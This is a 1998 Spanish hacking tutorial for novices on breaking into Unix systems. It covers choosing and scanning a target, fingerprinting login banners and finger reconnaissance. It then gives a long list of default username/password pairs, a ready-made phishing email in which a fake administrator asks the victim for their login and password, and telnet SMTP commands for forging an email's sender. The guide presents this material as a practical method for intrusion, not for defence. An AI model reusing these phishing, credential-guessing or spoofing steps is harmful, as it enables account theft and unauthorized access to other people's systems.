INTRODUCCION AL HACKING v2.0

POR DAEMON 25-01-1998

Daemond@usa.net

Dillet@usa.net

 

Antes que nada, he de decir que el contenido de este texto esta solamente

destinado a usos educacionales, de investigacion y/o de desarrollo. En ningun

momento el creador de este texto se hace responsable de los da¤os causados

debido a un mal uso de el mismo.

 

Bien, en este texto se recopilan los aspectos basicos del hacking para toda la

gente que esta empezando. El objetivo es una estructuracion de la informacion

para asi no tener que leer mil textos que te repiten los mismos conceptos una y

otra vez. Espero que este texto sea de utilidad a todo el que este empezando

en estos temas asi como puede dar algunas ideas a los que tengan un nivel

medio.

Tambien es verdad que en este texto se cuentan algunos metodos de hacking

aunque muchas veces se dejan cosas en el tintero que seran explicadas en

otros textos.. }-)

Tambien, aunque no se diga constantemente a lo largo del texto, la mayoria de

las ideas aqui indicadas son para sistemas UNIX y derivados por lo que si os

enfrentais a otras cosas como el Moco$oft NT dudo que os sirva alguna de las

ideas aqui expuestas. Igualmente, para conseguir un acceso si nos

encontramos ante un firewall la mayoria de las tecnicas aqui explicadas

tampoco funcionaran por lo que habra que exprimirse un poco mas el tarro :(

Por cierto, no pongo acentos para evitar las tipicas putadillas :)

Como siempre digo, sugerencias, dudas y preguntas.. e incluso criticas a mi

mail.

Dillet@usa.net

Daemond@usa.net

Me gustaria que me maileaseis ( leo todos los mails que recibo) para decirme si

algun apartado del texto no queda lo suficientemente claro ya que me gustaria

que este texto sirviese para todo el mundo e ir actualizando para posteriores

revisiones. Para tecnicas de hacking mas avanzadas que las que aqui se

exponen, ya escribire textos aparte de este, ya que esto es una introduccion y

no cuenta tecnicas avanzadas. Tambien me podeis mailear para pedirme

posteriores ediciones de este texto o de otros textos de parecidas

caracteristicas :)

Igualmente, supongo que en un texto tan grande habra fallos por lo que

cualquier ayuda para corregirlos es bienvenida ;o)

 

Asi, la ESTRUCTURA DEL TEXTO sera:

 

0.- Glosario

1.- Buscando maquina objetivo y algunas cosas sobre unix orientado al hacking

2.- Introduccion a distintos sistemas

3.- Como conseguir una cuenta

4.- Como obtener cuentas

4.1.- Cuentas por defecto

4.2.- Ingenieria social

4.3.- Conseguir fichero passwd con algun bug

4.4.- Conseguir directamente una cuenta con un bug

4.5.- PHF

4.6.- Xploits que te dan directamente una shell

4.7.- Otros metodos (FTP, Spoofing, etc)

5.- Salir de shell restringida

6.- Crackear password de maquinas UNIX

6.1.- Introduccion y algoritmo de cifrado.

6.2.- Conseguir el fichero de passwd estando dentro de la maquina

6.2.1.- Introduccion

6.2.2.- Password shadowing

6.2.3.- NIS

6.3.- Distintos metodos para bajaros el fichero de passwd una vez lo

tienes bajo control

6.4.- Como se crackean

6.5.- Que crackeador de password usar.

7.- Obtener acceso de root

7.1.- Fuerza bruta

7.2.- Exploits

7.3.- Troyanos

8.- Hackear con condon.

9.- Borrar huellas.

10.- Preservar el acceso y poner sniffers

11.- Legalidad

12.- Despedida

 

0. GLOSARIO

 

En este glosario, lo primero que se ha de definir es la palabra HACKER ya que

esto es lo que nos va a llevar todo este texto.

Un hacker es una persona con un conocimiento importante de sistemas

operativos, redes, protocolos, lenguajes de programacion, etc. con lo que se

podria resumir tener un dominio de la seguridad en redes. Asi, opino que un

hacker no es un chaval que le pasan algunos logins y passwords y que se

dedica a entrar a la maquina y ejecutar exploits que ni sabe ni lo que hacen ni

le importa, sino que simplemente sabe que le dan categoria de rOOt. Para mi

esto se puede hacer durante una temporada para aprender pero siempre como

una etapa para llegar mas adelante a fines mas interesantes :)

Resumiendo, un HACKER deberia ser una persona con amplios conocimientos

y que sabe en todo momento perfectamente lo que hace y que entra en

sistemas por diversion y no para destrozar sistemas o cosas parecidas. Aunque

para otros como el famoso Marcus J. Ranum compara los hackers con

"vandals", pero en fin, hay opiniones para todos los gustos :o(

En fin despues de este rollo filosofico que opino que es necesario en un texto

de introduccion a estos temas, paso a comentaros un breve glosario para

introducirse en la jerga de este mundillo.

 

Este glosario esta por orden alfabetico:

 

ADMINISTRADOR, sysop, root :Esla persona que se encarga del sistema. Se

suele denominar rOOt y es la persona que tiene el poder absoluto sobre la

maquina. Tiene un UID=0.

AGUJERO, bug, hole : Es und efecto en el software o hardware que como su

nombre indica deja agujeros para los hackers y que gracias a dios existen

muchos ya que si no esto seria de locos jeje

AIX: Sistema operativo de IBM

BUGS y EXPLOITS: Los bugs son fallos en el software o en el hardware y que

usan los hackers para entrar en sistemas y un exploit es un programa que

aprovecha el agujero dejado por el bug. Ver AGUJERO.

BOMBA LOGICA: Codigo que ejecuta una particular manera de ataque cuando

una determinada condicion se produce. Por ejemplo una bomba logica puede

formatear el disco duro un dia determinado, pero a diferencia de un virus.. la

bomba logica no se replica.

BACKDOOR :Puerta trasera. Mecanismo que tiene o que se debe crear en un

software para acceder de manera indebida (jeje)

BBS (Bulletin Board System): Es una maquina a la que se accede a traves de

la linea telefonica y donde se dejan mensajes y software. La putada es que si la

bbs no esta en tu ciudad.. timofonica se hace millonaria a tu costa. :o(

BOXING: Uso de aparatos electronicos o electricos (Boxes) para hacer

phreaking. Esto no es hacking sino phreaking... hay blue box, red box, etc.

BOUNCER: Tecnica que consiste en usar una maquina de puente y que

consigue que telneteando al puerto xxxx de la maquina "bouncerada" te

redireccione la salida a un puerto determinado de otra maquina. Esta tecnica es

muy usada en el irc redireccionando a los puertos destinados a los servidores

de irc por anonimicidad y otros temas que no vienen al caso.

CABALLOS DE TROYA :Programa que se queda residente en un sistema y

que ha sido desarrollado para obtener algun tipo de informacion. Por ejemplo

seria un caballo de troya un programa que al ejecutarlo envie el fichero de

/etc/passwd a una determinada IP (Casualmente la nuestra ;o)

CORTAFUEGOS: Ver firewall

COPS: Programa de seguridad.

CERT (Computer Emergency Response Team): Bien, como su nombre indica

es una gente que se dedica de trabajar en seguridad pero que en su esfuerzo

por informar de bugs nuevos, casi nos ayudan mas a nosotros que a ellos :o>

CLOACKER: Programa que borra los logs (huellas) en un sistema. Tambien

llamados zappers.

CRACKER : Esta palabra tiene dos acepciones, por un lado se denomina

CRACKER a un HACKER que entra a un sistema con fines malvados aunque

normalmente la palabra CRACKER se usa para denominara a la gente que

desprotege programas, los modifica para obtener determinados privilegios, etc.

CRACKEADOR DE PASSWORDS:Programa utilizado para sacar los password

encriptados de los archivos de passwords. Esto se desarrollara mas adelante

en este texto

DAEMON: Proceso en background en los sistemas Unix, es decir un proceso

que esta ejecutandose en segundo plano.

EXPLOIT Metodo concreto de usar un bug para entrar en un sistema.

FIREWALL, cortafuego: Sistema avanzado de seguridad que impide a

personas no acreditadas el acceso al sistema mediante el filtrado de los

paquetes dependiendo de la IP de origen, en otras palabras, una putada :o(. En

la actualidad esta considerado como uno de los medios de seguridad mas

fiables y hay poca documentacion al respecto de como hackearlos.

FUERZA BRUTA (hackear por...) Es el procedimiento que usan tanto los

crackeadores de password de UNIX como los de NT (o por lo menos los que yo

conozco) que se basan en aprovechar diccionarios para comparar con los

passwords del sistema para obtenerlos. Esto se desarrolla mas adelante en

este texto.

FAKE MAIL: Enviar correo falseando el remitente. Es muy util en ingenieria

social.

GRAN HERMANO: Cuando la gente se refiere al Gran Hermano, se refiere a

todo organismo legal de lucha contra el mundo underground.

GUSANO: Termino famoso a partir de Robert Morris, Jr.Gusanos son

programas que se reproducen ellos mismos copiandose una y otra vez de

sistema a sistema y que usa recursos de los sistemas atacados.

HACKING :Amplia definicion al principio del glosario.

HACKER :Amplia definicion al principio del glosario.

HOLE: Ver bug.

HP/UX: Sistema operativo de HP.

INGENIERIA SOCIAL :Obtencion de informacion por medios ajenos a la

informatica. Sobre esto nos extenderemos mas adelante en este texto.

IRIX: Sistema operativo.

ISP (Internet Services Provider): Proveedor de servicios internet.

KEY: Llave. Se puede traducir por clave de acceso a un software o sistema.

KERBEROS: Sistema de seguridad en el que los login y los passwords van

encriptados.

KEVIN MITNICK: Es el hacker por excelencia!!!. Sus haza¤as se pueden

encontrar en mil sitios en la red.

LAMER: Un lamer es una persona que no tiene ninguna inquietud por todos

estos temas de la seguridad sino que lo unico que quiere es tener un login y un

pass para entrar a un sistema y formatear el disco duro, o para decirle a un

amigo que es un superhacker.. o el tipico que te llega en el IRC y te dice.. he

suspendido un examen y quiero entrar al ordenador de mi escuela para

cambiar las notas. Esto os prometo que me ha pasado mas de una vez :o(

Importante es distinguir lamer de newbie o novato. Un novato o newbie es una

persona que SI que tiene interes en estos temas pero que logicamente necesita

un tiempo de aprendizaje ya que nadie ha nacido aprendico.

LINUX: Sistema operativo de la familia UNIX y que es muy adecuado para

tenerlo en la maquina de casa ya que no requiere demasiados recursos. Este

sistema operativo lo debes tener en tu casa si quieres hacer algo en el mundo

del hacking aunque ya se comentara mas adelante.

LOGIN : Para entrar en un sistema por telnet se necesita siempre un login

(nombre) y un password (clave).

MAQUINA: En este texto, habitualmente se utilizara el termino maquina para

referirse al ordenador. Mejor no entrar en filosofias :->

MAIL BOMBER: Es una tecnica de puteo que consiste en el envio masivo de

mails a una direccion (para lo que hay programas destinados al efecto) con la

consiguiente problematica asociada para la victima. Solo aconsejo su uso en

situaciones criticas.

NUKEAR: Consiste en joder a gente debido a bugs del sistema operativo o de

los protocolos. Esto se da habitualmente en el IRC y considero que es una

perdida de tiempo... pero hay mucha gente que su cabecita no da para mas y

se entretiene con estas pijadas. ¨Sera porque no son capaces de enfrentarse a

cosas mas serias?? :->

PASSWORD :Contrase¤a asociada a un login. Tambien se llama asi al famoso

fichero de UNIX /etc/passwd que contiene los passwords del sistema que se

comentaran mas adelante en este texto.

PHREAKING: Consiste en evitar total o parcialmente el pago a las grandes

multinacionales. Este concepto se usa basicamente para referirse al pago del

telefono ya que tal y como esta Timofonica apetece. En general, es complicado

conseguirlo en Espa¤a, pero hay que intentarlo. :->>

PIRATA:Persona dedicada a la copia y distribucion de software ilegal, tando

software comercial crackeado, como shareware registrado, etc...No hay que

confundir en absoluto este termino con el de hacker ya que tal como se ve en

las definiciones no tiene nada que ver.

PPP: Point-to-point protocol... RFC 1661.

PASSWORD CRACKER: Ver CRACKEADOR DE PASSWORD.

PGP: Pretty Good Privacy. Necesario cuando os paseis mails "calentitos". Es

un programa de encriptacion de llave publica.

PHRACK: zine sobre hack muy famosa.

PUERTO-PORT: Se define mas adelante en este texto.

PORT SCANNER: Programa que te indica que puertos de una maquina estan

abiertos. Mas adelante en este texto se explican estos conceptos mas

detenidamente.

ROOT,administrador, sysop: Persona que tiene control total sobre el sistema y

cuyo UID es 0.

ROUTER: Maquina de la red que se encarga de encauzar el flujo de paquetes.

SNIFFER: Es un programa que monitoriza los paquetes de datos que circulan

por una red. Mas claramente, todo lo que circula por la red va en 'paquetes de

datos' que el sniffer chequea en busca de informacion referente unas cadenas

prefijadas por el que ha instalado el programa.

SHELL: Este concepto puede dar lugar a confusion ya que una shell en un

sistema unix es un programa que interactua entre el kernel y el usuario

mientras que en nuestros ambientes significa el conjunto de login y password....

es decir que si alguien dice que cambia shells ya sabeis a lo que se refiere no?

:)

SUNOS: Sistema operativo de Sun.

SOLARIS: Sistema operativo de Sun.

SYSOP: Ver rOOt.

TCP/IP: Arquitectura de red con un conjunto de protocolos. Es la que se suele

usar en Internet.. para mas info sobre el tema cualquier libro de TCP IP es

valido..

TONELOC: Posiblemente el mejor war dealer (como la cerveza) jeje

TRACEAR :Seguir la pista a traves de la red a una informacion o de una

persona.

UDP: Protocolo de comunicacion que a diferencia del TCP no es orientado a

conexion.

UNIX: Familia de sistemas operativos que engloba a SunOS, Solaris, irix, etc..

VMS: Sistema operativo.

VIRUS: Es un programa que se reproduce a si mismo y que muy posiblemente

ataca a otros programas. Crea copias de si mismo y suele da¤ar o joder datos,

cambiarlos o disminuir la capacidad de tu sistema disminuyendo la memoria util

o el espacio libre.

WAR DIALER: Estos son programas (tambien se podria hacer a mano, pero es

muy pesado) que realizan llamadas telefonicas en busca de modems. Sirve

para buscar maquinas sin hacerlo a traves de internet. Estas maquinas suelen

ser muy interesantes ya que no reciben tantos ataques y a veces hay suerte y

no estan tan cerradas. ;o)

WORM: Ver gusano.

WINDOWS : Sistema operativo?? ;-) .. tambien llamado ventanukos.

ZAP: Zap es un programa que se usa para borrar las huellas en un sistema.

Debido a lo famoso que se ha hecho muchos programas que desarrollan estas

funciones se les llama zappers aunque precisamente este no es el mejor ;o)

ZINE: Revista electronica

Nota: En este texto se va a dar unix por sabido y solo se comentaran los

aspectos del unix relacionados con el hacking.

 

1.- BUSCANDO LA MAQUINA OBJETIVO Y ALGO

SOBRE UNIX ORIENTADO AL HACKING.

 

Lo primero que se ha de hacer, como es logico es determinar la maquina

objetivo. Esta decision se puede hacer en base a distintos criterios como pueda

ser que es una maquina especialmente interesante para ti o que es una

maquina que sabes o te han dicho que el rOOt no es un lumbreras. Bien, sea

como fuere, suponemos que se ha determinado la maquina objetivo.

Tras esto, se ha de recopilar la mayor informacion sobre esa maquina. Lo

mejor es empezar haciendo un escaneo de puertos a la maquina, esto consiste

en ir haciendo telnet's a todos los puertos de la maquina ( normales 1-6000)

para ver que programas contestan en cada puerto y su version, o si el puerto

esta cerrado. Por ejemplo: con un telnet normal (puerto 23) determinaremos el

sistema operativo, con un telnet 79 (finger) para obtener informacion, entrar por

el netstat (puerto 15 ) si lo tiene abierto (poco usual), mirar si tiene pagina web

y que demonio de http usa (puerto 80), mirar la version del sendmail (puerto

25), ver si esta el systat abierto, ver si tiene ftp anonimo en el 21, ver si ofrece

nfs o nis, etc. Para esto se necesita un escaneador de puertos de los que hay

muchisimos en la red ( strobe, portscan, nmap, etc.)

Ademas, en caso de que quieras hackear victima1.microsoft.com, en caso de

que veas que no puedes hacer nada en esta maquina victima1, te puedes

plantear hackear otra del dominio microsoft.com, ya que si consigues root y

colocas un sniffer en victima2.microsoft.com ( o quiza con un poco de suerte

con el hosts.equiv o el .rhosts) seguramente podras conseguir cuentas en

victima1.microsoft.com. Posiblemente, esto no lo entiendas ahora, pero tras

leer todo el texto y tener un poco mas claro lo que es un sniffer, como pillar root

y demas, posiblemente le encontraras mas sentido a este parrafo :o)

Nota para los que vayan un poco verdes en Unix:

El fichero hosts.equiv es un fichero que hay en los sistemas unix que indica que

maquinas pueden ejecutar comandos remotos en esta maquina sin pedir ni

login ni password, es decir, indica las maquinas que son confiables.

Igualmente, el fichero .rhosts es un fichero que hay en el HOME de cada

usuario que indica las maquinas a las que permite ejecutar un comando remoto

sin pedir password.

Ademas, os recuerdo que con el comando host puedes obtener una lista de

maquinas pertenecientes a un dominio dado y que el comando traceroute

muchas veces puede ayudar ( recuerdo que el traceroute muestra el recorrido

que hacen los paquetes hasta llegar a la maquina destino).

Para todos aquellos que no tienen muy claro lo que son los puertos, TCP, UDP,

IP y demas cosas similares pueden ver el TCP IP Illustrated tomo 1 de Stevens

o el famoso NETWORKING with TCPIP que ademas creo que tiene el primer

tomo traducido al castellano.

A continuacion se listan los mas interesantes en principio para las aplicaciones

que nos interesan (en los puertos que no ponga nada, se refieren a tcp y los

que se refieran a udp se indicara):

 

Numero Servicio Lo que hace

de Puerto

9 discard Dev/null--Basura

11 systat Informacion sobre los usuarios

13 La hora y fecha de maquina remota

15 netstat Mucha informacion sobre la red

17/tcp qotd Quote of the Day

19 chargen Generador de caracteres

21 ftp Transferenciadeficheros

22/tcp ssh SSH Remote Login Protocol

23 telnet Loginypass

25 smpt Para crear email.

37 time La hora.

38/tcp rap RouteAccessProtocol

39 rlp Localizacion del recurso

42/tcp name server HostName Server

43 whois Informacion sobre la red objetivo

49/tcp tacacs LoginHostProtocol(TACACS)

50/tcp re-mail-ck RemoteMailCheckingProtocol

53 domain Nombre de la maquina remota

63/tcp whois++ whois++

69/tcp tftp TrivialFileTransfer

70 gopher Buscador de informacion con bugs ;o)

79 finger Mucha informacion sobre los usuarios

80 http ServidorWeb

88/tcp kerberos Kerberos

107 rtelnet Telnet remoto

109/tcp pop2 PostOfficeProtocol-Version2

110 pop3 Email entrante Version3

111/tcp sunrpc SUN Remote Procedure Call

113/tcp auth Authentication Service

115/tcp sftp Simple File Transfer Protocol

117/tcp uucp-path UUCP Path Service

119 nntp Grupos de noticias Usenet

133/tcp statsrv Statistics Service

136/tcp profile PROFILE Naming System

137/tcp netbios-ns NETBIOSNameService

137/udp netbios-ns NETBIOSNameService

138/tcp netbios-dgm NETBIOSDatagramService

138/udp netbios-dgm NETBIOSDatagramService

139/tcp netbios-ssn NETBIOSSessionService

139/udp netbios-ssn NETBIOSSessionService

143/tcp imap InternetMessageAccessProtocol (xploit remoto jeje)

144/tcp news NewS

161/tcp snmp SNMP

194/tcp irc InternetRelayChatProtocol

213/tcp ipx IPX

220/tcp imap3 InteractiveMailAccessProtocolv3

443 shttp Otro servidor web teoricamente seguro

512/udp biff ndica a los usuarios que han recibido mail

513/tcp rlogin remote login

513/udp who who remoto y da info sobre la carga de la maquina

514/tcp shell Shell remota

514/udp syslog

515/tcp printer spooler

520 route Protocolo de informacion routing

529/tcp irc-serv IRC-SERV

 

 

Puedes obtener muchas listas de puertos en Internet por lo que os he puesto

una lista resumida aunque en realidad con la practica te sueles remitir a un

numero mas reducido de puertos pero eso que lo vea cada uno kon la

experiencia.

Tras saber que conocimientos se deben adquirir, ahora os comento los

programas que se deben tener para poder hacer cositas.

Bien, lo primero que comentaria es que es mas comodo hackear con unix/linux

que con el ventanukos ya que aunque es mas complejo, ofrece muchas mas

posibilidades ya que el mismo sistema operativo te ofrece algunas ventajas que

no ofrece el windows. No voy a entrar a comentar estas diferencias pero si

usas unix, basicamente solo has de pillarte un escaneador de puertos y poco

mas. Se ha de recordar que lleva incorporado el compilador de c, perl, la

mayoria de los programas de seguridad (satan, cops, iss...) estan disponibles

para unix asi como los programas para hackear, y muchas mas kosas que ya

iremos descubriendo como el tiempo. Ademas unix te permite comandos

interesantes como el host, rpcinfo, los comandos remotos, etc.

Ademas, tal y como se ha comentado o comentara a lo largo del texto, la

informacion y estar actualizado en bugs y exploits es una de las cosas mas

importantes en este mundillo por lo que un consejo es que habitualmente ojeeis

las paginas de hack para pillar los ultimos bugs y xploits asi como las listas de

correo habilitadas para el respecto (bugtraq, firewall ,etc). Tened en cuenta que

la eficacia de un xploit es inversamente proporcional al tiempo que hace que

salio asi que no espereis entrar en muchas maquinas con bugs de los a¤os 80,

entendeis la idea no?.

 

2.- INTRODUCCION A DISTINTOS SISTEMAS

 

En este texto se va a hablar de hackear maquinas Unix pero hay que recordar

que aparte del Unix tambien existen otros sistemas operativos para mainframes

y miniordenadores como el VMS para ordenadores VAX (de la marca DEC,

Digital Equipment Corporation), el VM/CMS, VM/ESA, etc para ordenadores

IBM, y otros sistemas operativos de menor profileracion.

Dentro de los UNIX se puede hacer diferencias:

 

SO Vendedor Procesador Proviene del

IRIX Silicon Graphics MIPS Rxx00 System V

ULTRIX Digital (viejo) MIPS R2/3000 BSD

Digital UNIX Digital (nuevo) System V (?)

AIX IBM BSD

HP-UX Hewlett Packard PA-RISC System V

SCO UNIX SCO Intel x86

FreeBSD (independiente) Intel x86 BSD

Linux (independiente) Intel x86 BSD

SunOS Sun (viejo) Sparc BSD

Solaris Sun (nuevo) Sparc / x86 System V

UNICOS Cray

OSF/1 DEC Alpha

ConvexOS Convex

 

Para entrar en un sistema, lo primero que has de saber es como funciona ya

que si no, no podras manejarte en el. Por esto es importante conocer

UNIX/LINUX ya que basicamente, conociendo este sistema operativo podras

moverte por el resto de sistemas unix aunque de vez en cuando te encuentras

de cada cosa por ahi que da miedo. A continuacion se describen algunos

sistemas y en algunos se indica la pinta que tienen para poder identificarlos al

hacerles un telnet ( Nota: esta info la he pillado de la red y creo que es un poco

vieja pero la pongo porque opino que puede servir de algo):

 

VMS - La computadora VAX es creada por Digital Equipment Corporation

(DEC) y corre el sistema operativo VMS (virtual memory system). VMS se

caracteriza por su prompt 'Username:'. Este sistema no te dira si has entrado

un login correcto o no y te desconectara despues de tres malos intentos.

Tambien mantiene un record de todos los logins que fallaron e informa al dueÏo

de la cuenta la proxima vez que entre cuantos intentos fallados se hicieron. Es

uno de los sistemas mas seguros desde fuera pero ya dentro tiene varios

errores en la seguridad. Las VAX ademas tienen uno de los mejores archivos

de ayuda de entre los demas sistemas, para accesar a esta ayuda solo escribe

HELP en el prompt.

VM/CMS - Este sistema es ejecutado en las super computadoras de IBM

(International Business Machines) llamadas mainframes. Una vez conectado a

una de estas computadoras te mostrara un mensaje asi "VM/370 ONLINE", y te

dara un prompt "." justo como la TOPS-10 lo hace. Para entrar debes ejecutar:

LOGON <usuario>

DEC-10 - Operan el sistema operativo TOPS-10. Este tipo de maquinas se

reconocen por el prompt "." Las series DEC-10/20 son amables con los hackers

permitiendo varios intentos en el login prompt sin guardar un log de los intentos

fallados. Las cuentas estan en forma [xxx,yyy]. Lo mejor de este sistema es la

posibilidad de obtener informacion sobre las personas en linea antes de entrar

a el usando el comando systat. Si ves una cuenta que lea [234,1001] BOB

JONES, seria inteligente probar como password BOB, JONES, BOBBY, etc.

Para entrar al sistema se usa el comando:

login xxx,yyy [enter]

password:

 

Este sistema como antes lo habia dicho, permite intentos sin limite y ademas te

avisa si el login que estas usando existe.

 

PRIME - Esta computadora opera con el sistema operativo Primos. Son

faciles de detectar ya que lo reciben a uno con el mensaje "Primecon xx.xx.xx"

o algo parecido dependiendo de la version que te encuentres. Usualmente no

ofrecen ningun prompt asi que debes escribir "login <usuario>". Si la version es

anterior a la 18.00.00 puedes presionar un monton de caracteres de escape o

CTRL-C y entraras. Este sistema ofrece la capacidad de conectarte a los NUAS

de todo el mundo con el comando NETLINK...sintax: nc <nua>

Al hacer un telnet muestra un aspecto del tipo:

PRIMENET 19.2.7F PPOA1

<any text>

ER!

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

CONNECT

Primenet V 2.3 (system)

LOGIN (you)

User id? (system)

SAPB5 (you)

Password? (system)

DROWSAP (you)

OK, (system)

 

DECSERVER - Las DECs son una serie de computadoras conectadas entre si

para formar una sola unidad de procesamiento, la funcionalidad de estos

sistemas es altamente utilizado por los hackers para quebrar passwords de

cuentas unix por la rapidez del sistema. El prompt usualmente sera: "Enter

Username>" aunque yo he visto otros prompts en estos sistemas.

El nombre de usuario puede ser cualquier cosa, lo mejor sera presionar algo

nada sospechoso como `c' o algun numero. De ahi te presentara con el prompt

`local>'. De ahi debes ejecutar `c <sistema>' para conectarte. Para obtener una

lista de sistemas conectados ejecuta `sh' `services' o `sh nodes'. En algunos

sistemas DEC'S existen comandos como MODEM o DIAL que permiten hacer

uso de un modem para llamadas externas que te permitiran marcar a BBS

internacionales a expensas de la compaÏia que opera el DEC.

Al hacer un telnet a este sistema sale algo del tipo:

DECserver 700-08 Communications Server V1.1 (BL44G-11A) - LAT V5.1

DPS502-DS700

(c) Copyright 1992, Digital Equipment Corporation - All Rights Reserved

Please type HELP if you need assistance

Enter username> TNO

Local>

 

AIX

IBM AIX Version 3 for RISC System/6000

(C) Copyrights by IBM and by others 1982, 1990.

login:

Lo reconoceras porque es el unico sistema Unix que borra la pantalla y sale el

login cerca del final de la pantalla.

 

CISCO Router

FIRST BANK OF TNO

95-866 TNO VirtualBank

REMOTE Router - TN043R1

Console Port

SN - 00000866

TN043R1>

 

Toda la info anterior expuesta anteriormente sobre los distintos sistemas, la he

cogido basicamente de la red y la mayoria no la he comprobado por lo que es

facil que haya errores por lo que os agradeceria que me contaseis todos los

bugs que encontreis en esta parte del texto sobre distintos sistemas.

Igualmente, estoy interesado en toda la info que me pueda mandar la gente

sobre la identificacion de los distintos sistemas operativos y los comandos y

diferencias basicas entre los sistemas operativos. Como siempre, mi mail esta

abierto para este tipo de info ;--)

 

3.- CONSEGUIR UNA CUENTA

 

Una cuenta puede ser el primer paso para poder entrar en un sistema (aunque

hay bugs que te dan directamente una cuenta e incluso la de rOOt, pero eso es

caso aparte) por lo que en este capitulo se vera como conseguir una cuenta.

Hay muchiiiiisimos metodos para conseguir una cuenta pero aqui se van a

contar los siguientes:

1.- Cuentas por defecto

2.- Ingenieria social

3.- Conseguir fichero passwd de manera remota con algun bug

4.- Conseguir directamente una cuenta con un bug

5.- PHF

6.- Xploits que te dan una shell remota

7.- Otros metodos

 

4.1.- Cuentas por defecto

 

Este es un metodo de locos y solo lo has de usar si vas muy perdido o si estas

muy desesperado ya que raras veces funcionan. Sinceramente, yo no las he

comprobado ya que nunca uso este metodo por lo que agradeceria vuestras

rectificaciones para posteriores ediciones del texto. Incluso hay sistemas

operativos muy raros que no se si seran viejos pero yo las incluyo todos por si

a alguien les sirven de algo. En posteriores ediciones ya se hara un filtrado :o)

Aqui estan para varios sistemas:

 

Cuentas defaults en general:

adm

admin

ann

anon

anonymous/anonymous

backup

batch

bin

checkfsys

daemon

demo

diag

field

ftp

games

guest/guest

guest/anonymous

help

install

listen

lp

lpadmin

maint

makefsys

mountfsys

network

news

nobody

nuucp

nuucpa

operator

powerdown

printer

pub

public

reboot

rje

rlogin

root

sa

setup

shutdown

startup

sync

sys/sys

sysadm

sysadmin

sysbin/sysbin sysbin/bin

sysman

system

tech

test

trouble

tty

umountfsys

user/user user1/user1

uucp

uucpa

visitor

root/root

root/system

sys/sys

sys/system

daemon/daemon

uucp/uucp

tty/tty

test/test

unix/unix

unix/test

bin/bin

adm/adm

adm/admin

admin/adm

admin/admin

sysman/sysman

sysman/sys

sysman/system

sysadmin/sysadmin

sysadmin/sys

sysadmin/system

sysadmin/admin

sysadmin/adm

who/who

learn/learn

uuhost/uuhost

guest/guest

host/host

nuucp/nuucp

rje/rje

games/games

games/player

sysop/sysop

root/sysop

demo/demo

decnet/ddennet

guest/friend

field/service

guest/welcome

system/manager

default/user

decnet/nonpriv

field/digital

field/test

postmaster/mail

sysmaint/service

sysmaint/digital

system/operator

system/manager

system/syslib

system/uetp

systest_clig/systest

userp/user

sysadmin/admin

daemon/daemon

sysbin/sysbin

AIX

guest guest

 

DECserver

Access

System

 

VMS

autolog1/autolog o autolog1

cms/cms

cmsbatch/cms o cmsbatch

erep/erep

maint/maint o maintain

operatns/operatns o operator

operator/operator

rscs/rscs

smart/smart

sna/sna

vmtest/vmtest

vmutil/vmutil

vtam/vtam

field/service

systest/utep

systest_clig/systest

systest_clig/uetp

 

PRIME

Prime/prime

Prime/primos

Primos/primos

Primos/prime

primos_cs/prime

primos_cs/primos

primenet/primenet

system/system

system/prime

system/primos

netlink/netlink

test/test

guest/guest

guest1/guest

 

DEC10

1,2: SYSLIB or OPERATOR or MANAGER

2,7: MAINTAIN

5,30: GAMES

 

SGI Irix

4DGifts

guest

demos

lp

nuucp

tour

tutor

accounting

boss

demo

manager

pdp8

pdp11

software

 

 

4.2.- INGENIERIA SOCIAL

 

Bien, este no es un metodo de hack en el sentido que todos pensais... no tiene

nada que ver con informatica ni con ordenadores ni tcp/ip ni unix ni nada de

eso sino que simplemente consiste en ser un poco picaro ;o).

La ingenieria social se basa en que hay mucha gente por ahi que tiene una

cuenta (tanto de un proveedor de internet como una shell) y que no esta muy

alerta jeje. En fin, como os comento hay varios metodos para obtener cuentas

usando ingenieria social, aqui simplemente cuento algunos para que os hagais

una idea pero cada uno que piense y su imaginacion le dara algunos truquillos

mas.

En fin, el metodo e-mail es el mas importante por el que sera el que mas

desarrollaremos en este texto aunque tambien se podria hacer por telefono. La

idea es sencilla.. enviar un mail (anonimo) a alguien para que te de el login y el

password. Parece dificil que traguen, no?.. pues os puedo asegurar que no lo

es. }-)

Simplemente envia un mail de este estilo:

Estimado se¤or Lopez: (Importante conocer la identidad de la persona para

darle mas confianza)

El objeto de este correo electronico es comunicarle que debido a mantener la

seguridad de nuestro sistema victima.com, se requiere que envie un mail con

sus datos personales y su login y su password ya que en nuestro sistema es

muy importante la seguridad y deseamos mantenerla con estos chequeos

rutinarios.

Agradeciendo su atencion se despide

Pepito Rodriguez pepito@victima.com

Administrador del sistema victima.com

 

Para enviar un mail para falsear el remitente, lo que se debe hacer es hacer un

telnet a una maquina unix que tenga el puerto 25 abierto y dar los siguientes

pasos:

Lo primero que se ha de hacer es un telnet maquinacon25.com 25, cuando te

diga que ya estas conectado, has de hacer:

helo ingenieria@social.com >pleased to meet ingenieria@social.com

Tras esto has de decir quien quieres que aparezca como remitente con el

comando mail from:

mail from: ingenieria@social.com

> ingenieria@social.com... Sender is valid.

Si sale esto, todo va bien.. por lo que tendras que indicar quien es el

destinatario usando el comando rcpt

 

rcpt to: bill@gates.com

> "bill@gates.com"... Recipient okay

Tras esto, lo que se ha de hacer es indicar el mensaje en si con el comando

data y cuando quieras acabar pones un . en una linea.. algo asi:

 

data

> Enter mail, end with "." on a line by itself

Hola Bill

.

> Mail accepted

Con esto el mensaje ya esta enviado, y para cerrar la conexion has de usar

quit.

> connection is closed.

En realidad con esto no se consigue un mail anonimo sino que lo que

consigues es especificar el remitente que tu quieres. Para enviar mail anonimo

has de usar servidores de correo anonimo o hacer este mensaje enlazando

unos mails con otros.

Para saber si un servidor es anonimo has de hacer:

HELO servidor@anonimo.com

Y si cuando el servidor responde no aparece tu IP por ningun lado, entonces es

un servidor anonimo o pseudoanonimo.

 

Este texto puede estar mucho mas elaborado.. pero ya os servira para ver la

idea y creedme este metodo funciona y por otro lado no es complicado de

hacer ;o)

La pregunta ahora es... como sabemos los telefonos o los mails de la gente de

victima.com???. Bien, hay varias respuestas.. muchas veces por casualidad

(un vecino, un compa¤ero de clase, etc), otras pasandotelas otro hacker ( a

saber de donde vendran !) y algunos metodos mas entre los que destacaria el

finger. El finger es el puerto 79 y si el host victima.com lo tiene abierto,

simplemente telnetealo y usando finger -l @victima.com sacaras informacion

sobre la gente que esta concectada a victima.com asi como otra informacion

interesante como su email. Luego puedes ir probando con finger -l

nombre_usuario@victima.com con lo que obtendras aun mas informacion del

sistema.

